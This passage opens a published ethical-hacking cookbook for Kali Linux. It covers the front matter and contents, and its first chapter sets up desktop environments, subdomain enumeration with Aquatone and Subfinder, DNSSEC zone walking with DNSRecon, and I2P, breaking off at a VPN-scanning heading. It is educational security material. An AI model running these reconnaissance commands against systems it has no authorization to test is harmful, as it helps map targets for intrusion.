text:
**Kali Linux - An Ethical Hacker's Cookbook
_Second Edition_

**

Practical recipes that combine strategies, attacks, and tools for advanced penetration testing

Himanshu Sharma

****BIRMINGHAM - MUMBAI****

# Kali Linux - An Ethical Hacker's Cookbook Second Edition

Copyright © 2019 Packt Publishing

All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, without the prior written permission of the publisher, except in the case of brief quotations embedded in critical articles or reviews.

Every effort has been made in the preparation of this book to ensure the accuracy of the information presented. However, the information contained in this book is sold without warranty, either express or implied. Neither the author, nor Packt Publishing or its dealers and distributors, will be held liable for any damages caused or alleged to have been caused directly or indirectly by this book.

Packt Publishing has endeavored to provide trademark information about all of the companies and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee the accuracy of this information.

**Commissioning Editor:** Vijin Boricha
**Acquisition Editor:** Rohit Rajkumar
**Content Development Editor:** Ronn Kurien
**Technical Editor:** Prachi Sawant
**Copy Editor:** Safis Editing
 **Project Coordinator:** Jagdish Prabhu
**Proofreader:** Safis Editing
**Indexer:** Manju Arasan
**Graphics:** Tom Scaria
**Production Coordinator:** Jayalaxmi Raja

First published: October 2017
Second edition: March 2019

Production reference: 1290319

Published by Packt Publishing Ltd.
Livery Place
35 Livery Street
Birmingham
B3 2PB, UK.

ISBN 978-1-78995-230-8

www.packtpub.com

mapt.io

Mapt is an online digital library that gives you full access to over 5,000 books and videos, as well as industry leading tools to help you plan your personal development and advance your career. For more information, please visit our website.

# Why subscribe?

  * Spend less time learning and more time coding with practical eBooks and Videos from over 4,000 industry professionals

  * Improve your learning with Skill Plans built especially for you

  * Get a free eBook or video every month

  * Mapt is fully searchable

  * Copy and paste, print, and bookmark content

# Packt.com

Did you know that Packt offers eBook versions of every book published, with PDF and ePub files available? You can upgrade to the eBook version at www.packt.com and as a print book customer, you are entitled to a discount on the eBook copy. Get in touch with us at `customercare@packtpub.com` for more details.

At www.packt.com, you can also read a collection of free technical articles, sign up for a range of free newsletters, and receive exclusive discounts and offers on Packt books and eBooks.

# Contributors
# About the author

**Himanshu Sharma** has been active in the field of bug bounty since 2009, and has been listed in Apple, Google, Microsoft, Facebook, Adobe, Uber, AT&T, Avira, and many more with hall of fame listings as proof.

He has been a speaker at multiple international conferences, including Botconf '13, Confidence 2018, RSA Asia Pacific and Japan '18, and Hack In The Box 2019. He also spoke at the IEEE conference in California and Malaysia, as well as for TedX.

Currently, he is the cofounder of BugsBounty, a crowd-sourced security platform for ethical hackers and companies interested in cyber services. He has also authored the following books: _Kali Linux – An Ethical Hacker's Cookbook_ , and _Hands-On Red Team Tactics_.

# About the reviewers

**Bhargav Tandel** has over 7 years' experience in information security with companies including Reliance jio, Vodafone, and Wipro. His core expertise and passions are vulnerability assessment, penetration testing, Red Team, ethical hacking, and information security. He is currently pursuing the OSCP certification. He has the ability to solve complex problems involving a wide variety of information systems, work independently on large-scale projects, and thrive under pressure in fast-paced environments, all while directing multiple projects from concept to implementation.

I would like to thank my family and friends, who have always stood by me. My friends, Jigar Tank and Utkarsh Bhatt, have always been there for me. I would also like to thank Rakesh Dwivedi for giving me a reason to continue learning and growing.

**Kunal Sehgal** has been heading critical cybersecurity roles for financial organizations, for over 15 years now. He is an avid blogger and a regular speaker on cyber-related topics across Asia.

He also holds a bachelor's degree in computer applications from Panjab University, and a postgraduate diploma from Georgian College in cyberspace security. He holds numerous cyber certifications, including Certified Information Systems Auditor (CISA), Certified Information Systems Security Professional (CISSP), Certified Information Security Manager (CISM), Tenable Certified Nessus Auditor (TCNA), Certificate of Cloud Security Knowledge (CCSK), ISO 27001 Lead Auditor, Offensive Security Certified Professional (OSCP), and CompTIA Security+.

Dedicated to my darling daughter.

**Shivanand Persad** has a master's in business administration from the Australian Institute of Business, and a bachelor of science in electrical and computer engineering from the University of the West Indies. He possesses a wide variety of specializations, including controls and instrumentation systems, wireless and wired communication systems, strategic management, and business process re-engineering. With over a decade of experience across multiple engineering disciplines, and a lengthy tenure with one of the largest ISPs in the Caribbean, he continues to be passionate about technology and its continuous development. When he's not reading everything in sight, he enjoys archery, martial arts, biking, and tinkering.

# Packt is searching for authors like you

If you're interested in becoming an author for Packt, please visit authors.packtpub.com and apply today. We have worked with thousands of developers and tech professionals, just like you, to help them share their insight with the global tech community. You can make a general application, apply for a specific hot topic that we are recruiting an author for, or submit your own idea.

# Table of Contents

  1. Title Page
  2. Copyright and Credits
    1. Kali Linux - An Ethical Hacker's Cookbook Second Edition
  3. About Packt
    1. Why subscribe?
    2. Packt.com
  4. Contributors
    1. About the author
    2. About the reviewers
    3. Packt is searching for authors like you
  5. Preface
    1. Who this book is for
    2. What this book covers
    3. To get the most out of this book
      1. Download the color images
      2. Conventions used
    4. Sections
      1. Getting ready
      2. How to do it...
      3. How it works...
      4. There's more...
      5. See also
    5. Get in touch
      1. Reviews
    6. Disclaimer
  6. Kali - An Introduction
    1. Configuring Kali Linux
      1. Getting ready
      2. How to do it...
      3. How it works...
    2. Configuring the Xfce environment
      1. How to do it...
    3. Configuring the MATE environment
      1. How to do it...
    4. Configuring the LXDE environment
      1. How to do it...
    5. Configuring the E17 environment
      1. How to do it...
    6. Configuring the KDE environment
      1. How to do it...
    7. Prepping with custom tools
      1. Getting ready
      2. How to do it...
        1. Aquatone
        2. Subfinder
      3. There's more...
    8. Zone Walking using DNSRecon
      1. Getting ready
      2. How to do it...
      3. There's more...
    9. Setting up I2P for anonymity
      1. How to do it...
      2. There's more...
    10. Pentesting VPN's ike-scan
      1. Getting ready
      2. How to do it...
        1. Cracking the PSK
      3. There's more...
    11. Setting up proxychains
      1. How to do it...
        1. Using proxychains with Tor
    12. Going on a hunt with Routerhunter
      1. Getting ready
      2. How to do it...
  7. Gathering Intel and Planning Attack Strategies
    1. Getting a list of subdomains
      1. How to do it...
    2. Using Shodan for fun and profit
      1. Getting ready
      2. How to do it...
    3. Shodan Honeyscore
      1. How to do it...
    4. Shodan plugins
      1. How to do it...
    5. Censys
      1. How to do it...
      2. See also
    6. Using Nmap to find open ports
      1. How to do it...
        1. Using scripts
      2. See also
    7. Bypassing firewalls with Nmap
      1. How to do it...
        1. TCP ACK scan (-sA)
        2. TCP Window scan (-sW)
        3. Idle scan
      2. How it works...
    8. Searching for open directories using GoBuster
      1. How to do it...
    9. Hunting for SSL flaws
      1. How to do it...
      2. See also
    10. Automating brute force with BruteSpray
      1. How to do it...
    11. Digging deep with TheHarvester
      1. How to do it...
      2. How it works...
    12. Finding technology behind webapps using WhatWeb
      1. How to do it...
    13. Scanning IPs with masscan
      1. How to do it...
    14. Finding origin servers with CloudBunny
      1. How to do it...
    15. Sniffing around with Kismet
      1. How to do it...
      2. See also
    16. Testing routers with Firewalk
      1. How to do it...
      2. How it works...
  8. Vulnerability Assessment - Poking for Holes
    1. Using the infamous Burp
      1. How to do it...
    2. Exploiting WSDLs with Wsdler
      1. How to do it...
    3. Using Intruder
      1. How to do it...
    4. Using golismero
      1. How to do it...
      2. See also
    5. Exploring Searchsploit
      1. How to do it...
    6. Exploiting routers with routersploit
      1. Getting ready
      2. How to do it...
    7. Using Metasploit
      1. How to do it...
    8. Automating Metasploit
      1. How to do it...
    9. Writing a custom resource script
      1. How to do it...
      2. See also
    10. Setting up a database in Metasploit
      1. How to do it...
    11. Generating payloads with MSFPC
      1. How to do it...
    12. Emulating threats with Cobalt Strike
      1. Getting ready
      2. How to do it...
      3. There's more...
  9. Web App Exploitation - Beyond OWASP Top 10
    1. Exploiting XSS with XSS Validator
      1. Getting ready
      2. How to do it...
    2. Injection attacks with sqlmap
      1. How to do it...
      2. See also
    3. Owning all .svn and .git repositories
      1. How to do it...
    4. Winning race conditions
      1. How to do it...
      2. See also
    5. Exploiting XXEs
      1. How to do it...
      2. See also
    6. Exploiting Jboss with JexBoss
      1. How to do it...
    7. Exploiting PHP Object Injection
      1. How to do it...
      2. See also
    8. Automating vulnerability detection using RapidScan
      1. Getting ready
      2. How to do it...
    9. Backdoors using meterpreter
      1. How to do it...
      2. See also
    10. Backdoors using webshells
      1. How to do it...
  10. Network Exploitation
    1. Introduction
    2. MITM with hamster and ferret
      1. Getting ready
      2. How to do it...
    3. Exploring the msfconsole
      1. How to do it...
    4. Railgun in Metasploit
      1. How to do it...
      2. There's more...
      3. See also
    5. Using the paranoid meterpreter
      1. How to do it...
      2. There's more...
    6. The tale of a bleeding heart
      1. How to do it...
    7. Exploiting Redis
      1. How to do it...
    8. Saying no to SQL – owning MongoDBs
      1. Getting ready
      2. How to do it...
    9. Hacking embedded devices
      1. How to do it...
    10. Exploiting Elasticsearch
      1. How to do it...
      2. See also
    11. Good old Wireshark
      1. Getting ready
      2. How to do it...
      3. See also
    12. This is Sparta
      1. Getting ready
      2. How to do it...
    13. Exploiting Jenkins
      1. How to do it...
      2. See also
    14. Shellver – reverse shell cheatsheet
      1. Getting ready
      2. How to do it...
    15. Generating payloads with MSFvenom Payload Creator (MSFPC)
      1. How to do it...
  11. Wireless Attacks - Getting Past Aircrack-ng
    1. The good old Aircrack
      1. Getting ready
      2. How to do it...
      3. How it works...
    2. Hands-on with Gerix
      1. Getting ready
      2. How to do it...
    3. Dealing with WPAs
      1. How to do it...
    4. Owning employee accounts with Ghost Phisher
      1. How to do it...
    5. Pixie dust attack
      1. Getting ready
      2. How to do it...
      3. See also
    6. Setting up rogue access points with WiFi-Pumpkin
      1. Getting ready
      2. How to do it...
      3. See also
    7. Using Airgeddon for Wi-Fi attacks
      1. How to do it...
      2. See also
  12. Password Attacks - The Fault in Their Stars
    1. Identifying different types of hashes in the wild
      1. How to do it...
      2. See also
    2. Hash-identifier to the rescue
      1. How to do it...
    3. Cracking with Patator
      1. How to do it...
    4. Playing with John the Ripper
      1. How to do it...
      2. See also
    5. Johnny Bravo!
      1. How to do it...
    6. Using ceWL
      1. How to do it...
    7. Generating wordlists with crunch
      1. How to do it...
    8. Using Pipal
      1. How to do it...
  13. Have Shell, Now What?
    1. Spawning a TTY shell
      1. How to do it...
    2. Looking for weaknesses
      1. How to do it...
      2. There's more...
    3. Horizontal escalation
      1. How to do it...
    4. Vertical escalation
      1. How to do it...
    5. Node hopping – pivoting
      1. How to do it...
      2. There's more...
    6. Privilege escalation on Windows
      1. How to do it...
    7. Pulling a plaintext password with Mimikatz
      1. How to do it...
    8. Dumping other saved passwords from the machine
      1. How to do it...
    9. Pivoting
      1. How to do it...
    10. Backdooring for persistance
      1. How to do it...
    11. Age of Empire
      1. Getting ready
      2. How to do it...
      3. See also
    12. Automating Active Directory (AD) exploitation with DeathStar
      1. How to do it...
      2. See also
    13. Exfiltrating data through Dropbox
      1. How to do it...
    14. Data exfiltration using CloakifyFactory
      1. How to do it...
  14. Buffer Overflows
    1. Exploiting stack-based buffer overflows
      1. How to do it...
    2. Exploiting buffer overflows on real software
      1. Getting ready
      2. How to do it...
    3. SEH bypass
      1. How to do it...
      2. See also
    4. Exploiting egg hunters
      1. Getting ready
      2. How to do it...
      3. See also
    5. An overview of ASLR and NX bypass
      1. How to do it...
      2. See also
  15. Elementary, My Dear Watson - Digital Forensics
    1. Using the volatility framework
      1. Getting ready
      2. How to do it...
      3.  See also
    2. Using Binwalk
      1. How to do it...
      2. See also
    3. Capturing a forensic image with guymager
      1. How to do it...
  16. Playing with Software-Defined Radios
    1. Radio-frequency scanners
      1. Getting ready
      2. How to do it...
    2. Hands-on with the RTLSDR scanner
      1. How to do it...
    3. Playing around with gqrx
      1. How to do it...
      2. See also
    4. Kalibrating your device for GSM tapping
      1. How to do it...
      2. See also
    5. Decoding ADS-B messages with Dump1090
      1. How to do it...
      2. See also
  17. Kali in Your Pocket - NetHunters and Raspberries
    1. Installing Kali on Raspberry Pi
      1. Getting ready
      2. How to do it...
    2. Installing NetHunter
      1. Getting ready
      2. How to do it...
    3. Superman typing –  human interface device (HID) attacks
      1. How to do it...
    4. Can I charge my phone?
      1. How to do it...
    5. Setting up an evil access point
      1. How to do it...
  18. Writing Reports
    1. Using Dradis
      1. How to do it...
    2. Using MagicTree
      1. How to do it...
    3. Using Serpico
      1. Getting ready
      2. How to do it...
  19. Other Books You May Enjoy
    1. Leave a review - let other readers know what you think

# Preface

This book begins with the installation and configuration of Kali Linux to help you perform your tests. You will then learn about methods that will help you gather intel and perform web application exploitation using tools such as Burp. Moving forward, you will also learn how to perform network exploitation by generating payloads using MSFPC, Metasploit, and Cobalt Strike. Next, you will learn about monitoring and cracking wireless networks using Aircrack, Fluxion, and Wifi-Pumpkin. After that, you will learn how to analyze, generate, and crack passwords using tools such as Patator, John the Ripper, and ceWL. Later, you will also learn about some of the tools that help in forensic investigations. Lastly, you will learn how to create an optimum quality pentest report!

By the end of this book, you will know how to conduct advanced and efficient penetration testing activities thanks to the book's crisp and task-oriented recipes.

# Who this book is for

This book is aimed at IT security professionals, pentesters, and security analysts who have some basic knowledge of Kali Linux and who want to exploit advanced penetration testing techniques.

# What this book covers

Chapter 1, _Kali - An Introduction_ , explains that while Kali is already pre-equipped with hundreds of amazing tools and utilities to help penetration testers around the globe perform their job efficiently, in this chapter, we will primarily cover some custom tweaks that can be used to facilitate an even better pentesting experience for the users.

Chapter 2, _Gathering Intel and Plan Attack Strategies_ , dives a little deeper into the content from the previous chapter and looks at a number of different tools available for gathering intel on our target. We start by using the infamous tools of Kali Linux. Gathering information is a very crucial stage of performing a penetration test, as every subsequent step we take after this will be the outcome of all the information we gather during this stage. So it is very important that we gather as much information as possible before jumping into the exploitation stage.

Chapter 3, _Vulnerability Assessment – Poking for Holes_ , explains that we need to start hunting for vulnerabilities. To become a good pentester, we need to make sure no small details are overlooked.

Chapter 4, _Web App Exploitation - Beyond OWASP Top 10_ , explains that in the OWASP Top 10, we usually see the most common ways of finding and exploiting vulnerabilities. In this chapter, we will cover some of the uncommon cases you might come across while hunting for bugs in a web application.

Chapter 5, _Network Exploitation_ , covers some of the uncommon ways in which we can pentest a network and successfully exploit the services we find.

Chapter 6, _Wireless Attacks - Getting Past Aircrack-ng_ , focuses on different areas of Wi-Fi security from the point of view of monitoring, packet capture, and exporting of data to text files for further processing by third-party tools; from the point of view of attacking, replay attacks, deauthentication, fake access points, and others via packet injection testing. From the point of view of checking, Wi-Fi cards and driver capabilities (capture and injection); and finally, from the point of view of cracking, WEP, and WPA PSK (WPA 1 and 2).

Chapter 7, _Password Attacks - the Fault in Their Stars_ , explains how a weak password is a well-known scenario where most corporates are compromised. A lot of people use weak passwords that can be brute forced and plaintext can be obtained. In this chapter, we will talk about different ways in which we can crack a password hash obtained during a pentest activity performed on a web app/network, among others.

Chapter 8, _Have Shell, Now What?_ covers __ the different ways of escalating our privileges on Linux and Windows systems as well as pivoting to the internal network.

Chapter 9, _Buffer Overflows_ , introduces the basics of assembly, exploiting buffer overflows, bypassing SEH, egg hunting, and a little bit about ASLR Bypass.

Chapter 10, _Elementary, My Dear Watson - Digital Forensics_ , explains how memory forensics (sometimes referred to as memory analysis) refers to the analysis of volatile data in a computer's memory dump. It is used to investigate attacks on the system that are stealthy and do not leave data on the hard drive of the computer. In this chapter, we will cover some of the tools that can be used to analyze memory dumps and malicious files, and extract useful information from them.

Chapter 11, _Playing with Software-Defined Radios_ , explains how the term _software-defined radio_ means the implementation of hardware-based radio components, including modulators, demodulators, and tuners, using software. In this chapter, we will cover different recipes and look at multiple ways that RTLSDR can be used to play around with frequencies and the data being transported through it.

Chapter 12, _Kali in Your Pocket - NetHunters and Raspberries_ , talks about setting up Kali Linux on Raspberry Pi and compatible cell phones and using it to perform a number of cool attacks on the network.

Chapter 13, _Writing Reports_ , goes through one of the most important steps of a pentesting project – the report. A good report must contain every detail of the vulnerability. Our agenda is to keep it as detailed as possible, which may help the right person in the department understand all the details and work around it with a perfect patch. There are different ways to create a pentesting report. In this chapter, you will learn a few tools that we can use to generate a good report that covers everything in detail.

# To get the most out of this book

The OS required is Kali Linux, with at least 2 GB of RAM recommended and 20-40 GB of hard disk space. The hardware required for the device would be an RTLSDR device for Chapter 11, _Playing with Software-Defined Radios_ , and any of the devices mentioned in the following link for Chapter 12, _Kali in Your Pocket – NetHunters and Raspberries_:
<https://www.offensive-security.com/kali-linux-nethunter-download/>

You will also require an Alfa card for Chapter 6, _Wireless Attacks – Getting Past Aircrack-ng_.

# Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams used in this book. You can download it here: <https://www.packtpub.com/sites/default/files/downloads/9781789952308_ColorImages.pdf>.

# Conventions used

There are a number of text conventions used throughout this book.

`CodeInText`: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: "Choose the `xfce-session` option (in our case, 3) and press _Enter_."

Any command-line input or output is written as follows:

    **update-alternatives --config x-session-manager**

**Bold** : Indicates a new term, an important word, or words that you see on screen. For example, words in menus or dialog boxes appear in the text like this. Here is an example: "In the Payloads tab, we select the Payload type as Extension-generated."

Warnings or important notes appear like this.

Tips and tricks appear like this.

# Sections

In this book, you will find several headings that appear frequently ( _Getting ready_ , _How to do it..._ , _How it works..._ , _There's more..._ , and _See also_ ).

To give clear instructions on how to complete a recipe, use these sections as follows:

# Getting ready

This section tells you what to expect in the recipe and describes how to set up any software or any preliminary settings required for the recipe.

# How to do it...

This section contains the steps required to follow the recipe.

# How it works...

This section usually consists of a detailed explanation of what happened in the previous section.

# There's more...

This section consists of additional information relating to the recipe in order to make you more knowledgeable about the recipe.

# See also

This section provides helpful links to other useful information for the recipe.

# Get in touch

Feedback from our readers is always welcome.

**General feedback** : If you have questions about any aspect of this book, mention the book title in the subject of your message and email us at `customercare@packtpub.com`.

**Errata** : Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you have found a mistake in this book, we would be grateful if you would report this to us. Please visit www.packt.com/submit-errata, selecting your book, clicking on the Errata Submission Form link, and entering the details.

**Piracy** : If you come across any illegal copies of our works in any form on the internet, we would be grateful if you would provide us with the location address or website name. Please contact us at `copyright@packt.com` with a link to the material.

**If you are interested in becoming an author** : If there is a topic that you have expertise in, and you are interested in either writing or contributing to a book, please visit authors.packtpub.com.

# Reviews

Please leave a review. Once you have read and used this book, why not leave a review on the site that you purchased it from? Potential readers can then see and use your unbiased opinion to make purchase decisions, we at Packt can understand what you think about our products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packt.com.

# Disclaimer

The information within this book is intended to be used only in an ethical manner. Do not use any information from the book if you do not have written permission from the owner of the equipment. If you perform illegal actions, you are likely to be arrested and prosecuted to the full extent of the law. Packt Publishing does not take any responsibility if you misuse any of the information contained within the book. The information herein must only be used while testing environments with proper written authorizations from appropriate persons responsible.

# Kali - An Introduction

Kali was first introduced in 2012 with a completely new architecture. This Debian-based distribution was released with over 300 specialized tools for penetration testing and digital forensics. It is maintained and funded by Offensive Security Ltd, and the core developers are Mati Aharoni, Devon Kearns, and Raphaël Hertzog.

Kali 3.0 came into the picture in 2018 with tons of new updates, bug fixes such as AMD Secure Memory Encryption Support, and increased memory limits.

In the previous edition of this book, we saw some of the great tools in Kali that help penetration testers around the globe to perform their job efficiently. In this chapter, we will primarily cover the installation of Kali and setting up different desktop environments, as well as some custom tools that will help us.

In this chapter, we will cover the following recipes:

  * Configuring Kali Linux
  * Configuring the Xfce environment
  * Configuring the MATE environment
  * Configuring the LXDE environment
  * Configuring the E17 environment
  * Configuring the KDE environment
  * Prepping Kali with custom tools
  * Zone Walking using DNSRecon
  * Setting up I2P for anonymity
  * Pentesting VPN's ike-scan
  * Setting up proxychains
  * Going on a hunt with Routerhunter

# Configuring Kali Linux

We will use the official Kali Linux official ISO provided by Offensive Security to install and configure different desktop environments.

# Getting ready

To start with this recipe, we will use the 64-bit Kali Linux ISO listed on the Offensive Security website: <https://www.kali.org/downloads/>.

For users looking to configure Kali for a virtual machine such as VMware and VirtualBox, a prebuilt image of the Linux can be downloaded from the following URL: <https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/>.

We will use the virtual image in this chapter and customize it with some additional tools. We can download it from the website, as shown in the following screenshot:

# How to do it...

  1. Double-click the VirtualBox image; it should open with VirtualBox.
  2. Click Import.
  3. Start the machine and enter the password `toor`.
  4. Now, Kali is by default configured with Gnome Desktop Environment.

# How it works...

With the prebuilt image, you don't need to worry about the installation process. You can consider it as a ready-to-go solution. Simply click on Run and the virtual machine will boot up the Linux just like a normal machine.

# Configuring the Xfce environment

Xfce is a free, fast, and lightweight desktop environment for Unix and Unix-like platforms. It was started by Olivier Fourdan in 1996. The name **Xfce** originally stood for **XForms Common Environment** , but since that time Xfce has been rewritten twice and no longer uses the XForms toolkit.

# How to do it...

  1. We start by using the following command to install Xfce, along with all its plugins and goodies. If for some reason it fails, we should run `apt update` first:

    **apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin xfce4-goodies**

The following screenshot shows the preceding command:

  2. Type `Y` when it asks for confirmation on additional space requirements.
  3. Select OK on the dialog box that appears.
  4. Select Lightdm as our default desktop manager and press _Enter_.
  5. When the installation is complete, open a Terminal window and type the following command:

    **update-alternatives --config x-session-manager**

The following screenshot shows the output of the preceding command:

  6. Choose the `xfce-session` option (in our case, 3) and press _Enter_.

  7. Log out and log in again, and we will see the Xfce environment:

Now let's have a look at the configuration of MATE environment.

# Configuring the MATE environment

The MATE desktop environment is the continuation of GNOME 2. It provides an intuitive and attractive desktop environment using traditional metaphors for Linux and other Unix-like operating systems. The latest version of MATE (1.20) was released on 07-02-2018, which added a lot of fixes and upgraded the theme.

The complete list of features can be viewed here: <https://mate-desktop.org/blog/2018-02-07-mate-1-20-released/>.

In this recipe, we will learn how to install MATE on Kali Linux.

# How to do it...

  1. We start by using the following command to install the MATE environment:

    **apt-get install desktop-base mate-desktop-environment**

  2. Type `Y` when it asks for confirmation on additional space requirements.
  3. When installation is complete, we will use the following command to set MATE as our default environment:

    **update-alternatives --config x-session-manager**

  4. Choose the `mate-session` option (in our case, 2) and press _Enter_ :

  5. Log out and log in again, and we will see the MATE environment:

Now let's have a look at the configuration of LXDE environment.

# Configuring the LXDE environment

LXDE is a free open source environment written in C using the GTK+ toolkit for Unix and other POSIX platforms. **LXDE** stands for **Lightweight X11 Desktop Environment**.

LXDE is the default environment for many operating systems, such as Knoppix, Raspbian, and Lubuntu.

# How to do it...

  1. We start by using the following command to install LXDE:

    **apt-get install lxde-core lxde**

  2. Type `Y` when it asks for confirmation on additional space requirements.
  3. When the installation is complete, open a Terminal window and type the following command:

    **update-alternatives --config x-session-manager**

The following screenshot shows the output of the preceding command:

  4. Choose the `startlxde` option session (in our case, 4) and press _Enter_.
  5. Log out and log in again, and we will see the LXDE environment:

Now let's have a look at the configuration of E17 environment.

# Configuring the E17 environment

**Enlightenment** , otherwise known as **E** , is a window manager for the X Windows system. It was first released in 1997. It has lots of features, such as engage, virtual desktop, and tiling.

# How to do it...

  1. Due to compatibility issues and hassle regarding dependencies, it is better to download Kali with the E17 environment directly from the following URL: <https://www.kali.org/downloads/>.
  2. The steps to set it up are simple: we just have to double-click and start the VM in VirtualBox or VMware.

# Configuring the KDE environment

**K Desktop Environment** ( **KDE** ) is an open source graphical desktop environment for UNIX workstations. It was initially called Kool Desktop Environment. Matthias Ettrich first launched the KDE project in 1996 with the goal of making the UNIX platform more attractive and easy to use. In this recipe, we will learn how to set up KDE on Kali.

# How to do it...

  1. We use the following command to install KDE:

    **apt-get install kali-defaults kali-root-login desktop-base kde-plasma-desktop**

  2. Type `Y` when it asks for confirmation on additional space requirements.
  3. Click OK on both the windows that pop up.
  4. When the installation is complete, we open a Terminal window and type the following command:

    **update-alternatives --config x-session-manager**

The following screenshot shows the output of the preceding command:

  5. Choose the `startkde` option (in our case, 2) and press _Enter_.
  6. Log out and log in again, and we will see the KDE environment:

Kali has already provided prebuilt images of different desktop environments. These can be downloaded from <https://www.kali.org/downloads/>.

# Prepping with custom tools

In this recipe, we will set up a few tools beforehand; not to worry, we will be covering their usage in detail in later chapters.

# Getting ready

Here is a list of some tools that we will need before we dive deeper into penetration testing. Don't worry, we will learn about their usage with some real-life examples in the next few chapters. But those of us who are excited about them right now can run the following simple commands to view the `-help` section where `toolname` is the name of the tool we would like to view the help of:

    **toolname -help**
     **toolname -h**

# How to do it...

We will be looking at two tools in this section.

# Aquatone

**Aquatone** is a tool for visually inspecting websites across a large amount of hosts and is convenient for quickly gaining an overview of an HTTP-based attack surface. Aquatone has four major modules: discover, scanner, gather, and takeover. Each of these can be used to perform in-depth enumeration of a target:

  1. We will use a simple command to install `aquatone`:

    **gem install aquatone**

The following screenshot shows the output of the preceding command:

  2. Next, we create a directory in `/root/folder` using the following command:

    **mkdir /root/aquatone/**

  3. As aquatone uses different modules to hunt for subdomains, we will have to configure aquatone's discovery module before running it.
  4. For example, to configure the `shodan`, we can use the following command:

    **aquatone-discover --set-key shodan XXXXXXXXXXX**

The following screenshot shows the output of the preceding command:

  5. Similarly, we can set keys for other services too, such as Censys and PassiveTotal.
  6. Once it is all set, we can start our subdomain hunting. We can do this using the following command:

    **aquatone-discover -d domain.com**

The following screenshot shows the output of the preceding command:

  7. Aquatone also allows us to set a custom wordlist by using the `-w` flag, and we can also set the threads by using the `-t` flag.
  8. By default, aquatone stores the output in TXT as well as JSON format in the `/root/aquatone/` directory.
  9. After we find the subdomains, we can use the aquatone scanner to scan for open ports on the discovered hosts. Let's look at an example:

    **aquatone-scan --ports 80 -d packtpub.com**

The following screenshot shows the output of the preceding command:

  10. This will look for the domain's `hosts.json` file in the `aquatone` directory.
Aquatone by default has four inbuilt port scanning flags (small, medium, large, and huge). These flags will decide the number of ports being scanned on the hosts, or we can define custom ports by using the `-ports` flag.
    * `aquatone-gather`: This tool makes a connection to the web services found using the discover and scanner modules of aquatone and takes screenshots of discovered web pages for later analysis.
    * `aquatone-takeover`: This module is used to find subdomains that are vulnerable to the subdomain takeover vulnerability.

Let's refer to the following screenshot:

# Subfinder

Subfinder is considered as a successor to sublist3r. It is amazingly fast and finds valid subdomains using passive online sources such as Ask, Archive.is, Baidu, Bing, Censys, CertDB, CertSpotter, Commoncrawl, CrtSH, DnsDB and so on.

  1. Install subfinder. It needs Go to be installed, which we can install by using the following command:

    **apt install golang**

The following screenshot shows the output of the preceding command:

  2. Next, we clone `subfinder` by using the following command:

    **git clone https://github.com/subfinder/subfinder.git**

The following screenshot shows the output of the preceding command:

Or you can download and save it from <https://github.com/subfinder/subfinder>.

  3. To install subfinder, we go to the cloned directory and run the `go build` command.
  4. Once the installation is complete, we will need a wordlist for it to run, so we can download dnspop's list. This list can be used in the previous recipe too: <https://github.com/bitquark/dnspop/tree/master/results>.
  5. Now that both are set up, we browse into subfinder's directory and run it using the `./subfinder -h` command.

The following screenshot shows the output of the preceding command:

  6. To run it against a domain with our wordlist, we use the following command:

    **./subfinder -w /path/to/wordlist -d hostname.com**

If we do not specify a wordlist the tool will run with a default wordlist as shown in the following screenshot:

Once the enumeration is complete, the output will be shown onscreen as follows:

  7. Subfinder is also designed to work with services such as `shodan`, `censys`, and `virustotal`, but they need to be configured in the `config.json` file shown here:

# There's more...

A subdomain takeover vulnerability exists when a service that previously pointed to a subdomain is removed but the CNAME record still exists. More information can be read about it at the following GitHub link: <https://github.com/EdOverflow/can-i-take-over-xyz/>.

Aquatone-takeover is based on the same methodology described by EdOverflow at the preceding URL.

# Zone Walking using DNSRecon

Zone Walking is a technique that is used by attackers to enumerate the full content of DNSSEC-signed DNS zones. We will cover more about it in later chapters; in this recipe, we will use DNSRecon.

# Getting ready

DNSRecon is already included in Kali Linux, and we can use it for Zone Walking. Zone Walking is a technique used to find subdomains using domains whose NSEC records are set. However, before we jump into Zone Walking, let's take a quick look at the other features of this tool.

# How to do it...

  1. To view the help, we type the following:

    **dnsrecon -h**

The following screenshot shows the output of the preceding command:

  2. To do a simple recon of name servers, A records, SOA records, MX records, and so on, we can run the following command:

    **dnsrecon -d** **packtpub.com -n 8.8.8.8**

The following screenshot shows the output of the preceding command:

  3. Now let's take an example of a domain that has NSEC records. To do a zone walk, we can simply run the following command:

    **dnsrecon -z -d icann.org -n 8.8.8.8**

The following screenshot shows the output of the preceding command:

  4. We can do this manually by using the `dig` command along with `dig +short NSEC domainname.com`.
  5. The previous `dig` command will throw us one subdomain, and then we can rerun the same command with the subdomain we got in previous step to find the next subdomain: `dig +short NSEC a.domain.com`.

# There's more...

When signing a zone, DNSSEC automatically chains all labels in alphabetical order using NSEC Resource Records. This is used to prove the absence of names.

For example, if someone requests the non-existent name name3, the name server responds with the NSEC entry name2 NSEC name5, indicating that no other entry exists between name2 and name5. We take advantage of that by starting with the first entry and then getting all domains by calling successive queries and getting other subdomains.

# Setting up I2P for anonymity

**Invisible Internet Project** ( **I2P** ) is an unknown network layer. It offers P2P communication. To set up an anonymous connection, the user's traffic is encrypted (end to end) and is sent through a network of roughly 55,000 computers, which is distributed around the world and owned by volunteers.

# How to do it...

  1. To install I2P, we need to first check whether `apt-transport-https` and `curl` are installed:

    **sudo apt-get install apt-transport-https curl**

  2. Now we can install the tool using the following command:

    **apt install i2p**

The following screenshot shows the output of the preceding command:

  3. When the installation is complete, we can run the service by using the following command:

    **i2prouter start**

  4. We should not run it as root so we log in as another account and run the command as shown in the following screenshot:

  5. We will see that I2P service is up and running; now we add a proxy to our Firefox on port `4444`:

  6. We can also access the I2P console at localhost `7657`:

And now a whole new world of I2P is open for us to explore.

# There's more...

I2P is designed and optimized for hidden services, which are much faster than in Tor. I2P allows us to use email, web browsing, hosting, IRC, file sharing, and decentralized storage anonymously. Here is a screenshot of this:

We will have a look at IKE in the next recipe.

# Pentesting VPN's ike-scan

